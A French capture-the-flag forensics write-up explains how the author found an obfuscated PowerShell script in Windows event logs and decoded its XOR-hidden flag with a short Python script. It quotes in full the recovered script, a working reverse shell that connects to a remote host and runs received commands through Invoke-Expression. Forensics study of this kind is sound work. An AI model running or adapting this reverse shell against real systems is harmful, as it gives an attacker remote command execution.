Solution de iv3l pour La gazette de Windows

intro forensics windows logs

20 février 2025

Identification des commandes PowerShell suspectes

En analysant les journaux d’événements PowerShell, j’ai découvert que l’EventRecordID 1109 contient une charge utile obscurcie dans le champ ScriptBlockText. Ce script comprend un tableau de valeurs hexadécimales suivies d’opérations XOR.

Les principales observations :

  • Le script crée une connexion TCP (New-Object Net.Sockets.TCPClient).
  • Il définit un mécanisme de transfert de données en mémoire tampon.
  • La partie clé du script est une variable $l, à laquelle est assignée une série de valeurs hexadécimales.
  • Le script effectue ensuite un XOR entre chaque octet de $l et son index afin de dériver un message caché.

Extraction et désobfuscation de la charge utile XOR

Le script PowerShell correspondant se trouve dans les journaux :

do {
    Start-Sleep -Seconds 1
    try {
        $TCPClient = New-Object Net.Sockets.TCPClient('10.255.255.16', 1337)
    } catch {}
} until ($TCPClient.Connected)

$NetworkStream = $TCPClient.GetStream()
$StreamWriter = New-Object IO.StreamWriter($NetworkStream)

function WriteToStream ($String) {
    [byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0}
    $StreamWriter.Write($String + 'SHELL> ')
    $StreamWriter.Flush()
}

$l = 0x46, 0x42, 0x51, 0x40, 0x7F, 0x3C, 0x3E, 0x64, 0x31, 0x31, 0x6E, 0x32, 0x34, 0x68, 0x3B, 0x6E, 0x25, 0x25, 0x24, 0x77, 0x77, 0x73, 0x20, 0x75, 0x29, 0x7C, 0x7B, 0x2D, 0x79, 0x29, 0x29, 0x29, 0x10, 0x13, 0x1B, 0x14, 0x16, 0x40, 0x47, 0x16, 0x4B, 0x4C, 0x13, 0x4A, 0x48, 0x1A, 0x1C, 0x19, 0x2, 0x5, 0x4, 0x7, 0x2, 0x5, 0x2, 0x0, 0xD, 0xA, 0x59, 0xF, 0x5A, 0xA, 0x7, 0x5D, 0x73, 0x20, 0x20, 0x27, 0x77, 0x38, 0x4B, 0x4D

$s = ""
for ($i = 0; $i -lt 72; $i++) {
    $s += [char]([int]$l[$i] -bxor $i)
}

WriteToStream $s

while (($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {
    $Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1)
    $Output = try {
        Invoke-Expression $Command 2>&1 | Out-String
    } catch {
        $_ | Out-String
    }
    WriteToStream ($Output)
}

$StreamWriter.Close()

Fonctionnement du codage XOR

  • Le script stocke les données obscurcies dans $l.
  • Chaque octet de $l est transformé en XOR avec son index (-bxor $i).
  • Le résultat est concaténé en $s, qui est envoyé via le réseau.

Comment j’ai trouvé ceci

  • Recherche de ScriptBlockText dans le fichier journal, identifiant les commandes exécutées.
  • J’ai remarqué que des valeurs hexadécimales étaient manipulées avec -bxor, un signe d’obscurcissement XOR.
  • Décodage à l’aide d’un simple script Python

Cette approche révèle la charge utile cachée, qui peut inclure un drapeau comme FCSC{}.

Script python pour XOR décoder le payload :

#  List of hexadecimal values extracted from the PowerShell script
hex_values = [
    0x46, 0x42, 0x51, 0x40, 0x7F, 0x3C, 0x3E, 0x64, 0x31, 0x31, 0x6E, 0x32, 
    0x34, 0x68, 0x3B, 0x6E, 0x25, 0x25, 0x24, 0x77, 0x77, 0x73, 0x20, 0x75, 
    0x29, 0x7C, 0x7B, 0x2D, 0x79, 0x29, 0x29, 0x29, 0x10, 0x13, 0x1B, 0x14, 
    0x16, 0x40, 0x47, 0x16, 0x4B, 0x4C, 0x13, 0x4A, 0x48, 0x1A, 0x1C, 0x19, 
    0x2, 0x5, 0x4, 0x7, 0x2, 0x5, 0x2, 0x0, 0xD, 0xA, 0x59, 0xF, 0x5A, 
    0xA, 0x7, 0x5D, 0x73, 0x20, 0x20, 0x27, 0x77, 0x38, 0x4B, 0x4D
]

# Initialize an empty string to store the decoded message
decoded_string = ""

# Loop through each index and value in the hex_values list
for i in range(len(hex_values)):
# XOR each value with its index to reverse the obfuscation
    decoded_char = chr(hex_values[i] ^ i)  # Convert the resulting number to a character
    decoded_string += decoded_char  # Append the character to the decoded string

    
# Print the final decoded message    
print("Decoded Message:", decoded_string)